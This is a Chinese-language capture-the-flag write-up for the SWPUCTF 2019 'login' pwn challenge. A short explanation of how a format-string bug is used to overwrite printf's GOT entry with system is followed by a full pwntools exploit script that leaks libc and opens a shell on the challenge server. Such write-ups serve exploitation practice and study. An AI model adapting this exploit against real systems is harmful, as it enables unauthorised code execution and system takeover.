【Pwn】SWPUCTF_2019_login

例行查看程序保護。
在這裏插入圖片描述分析程序,最裏面函數存在格式化字符串漏洞。但是格式化字符串不再棧上,而在bss段上,沒辦法直接任意地址讀寫,於是動態調試觀察棧上數據。
在這裏插入圖片描述
觀察到fff65158指向fff65168,fff65168指向fff65178。那麼就可以修改fff65168的內容,然後再觀察棧上還有什麼有用數據,注意到fff65160和fff65164的值離got表很近,於是想到可以修改這兩個地方的後兩個字節,將其指向got表,然後進行got表內容覆蓋來getshell。首先用格式化字符串漏洞將fff65168改爲指向fff65160和fff65164。然後分別修改爲printf的got地址0x804B014以及0x804B016,然後讀到printf地址,計算libc地址,計算system地址,覆蓋printf got表爲system,然後就可以getshell了。

from pwn import *

io=remote('node3.buuoj.cn',25849)
io.sendline('ydh')

#得到棧地址
io.recvuntil('password:')
io.sendline('%6$p') #6->10  
io.recvuntil('wrong password: ')
change=(int(io.recvline()[2:],16)-4)&0xff
print(hex(change))
#將10指向9
pl1='%'+str(change)+'c'+'%6$hhn' #change 10->9
io.recvuntil('Try again!')
io.sendline(pl1)
#將9指向printf_got
pl2='%'+str(0x14)+'c'+'%10$hhn'   #9->printf_got
io.recvuntil('Try again!')
io.sendline(pl2)
#將10指向8
pl1='%'+str(change-4)+'c'+'%6$hhn' #change 10->8
io.recvuntil('Try again!')
io.sendline(pl1)
#將8指向printf_got+2
pl2='%'+str(0xb016)+'c'+'%10$hn'   #8->print_got+2
io.recvuntil('Try again!')
io.sendline(pl2)
#讀取printf_address
io.recvuntil('Try again!')
io.sendline('%9$s')
io.recvuntil('wrong password: ')
print_add=u32(io.recv(4))
print(hex(print_add))
#計算system_address
libc_base=print_add-0x050b60
sys=libc_base+0x03cd10
print(hex(sys))
a=sys&0xffff
print(hex(a))
b=sys>>16
print(hex(b))
#將printf 覆蓋爲 system,getshell
pl3='%'+str(a)+'c'+'%9$hn'+'%'+str(b-a)+'c'+'%8$hn'
io.recvuntil('Try again!')
io.sendline(pl3)
io.sendline('/bin/sh')

io.interactive()

做題過程中嘗試用過onegadget直接覆蓋puts,但是失敗了,原因未知(我太菜了)。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章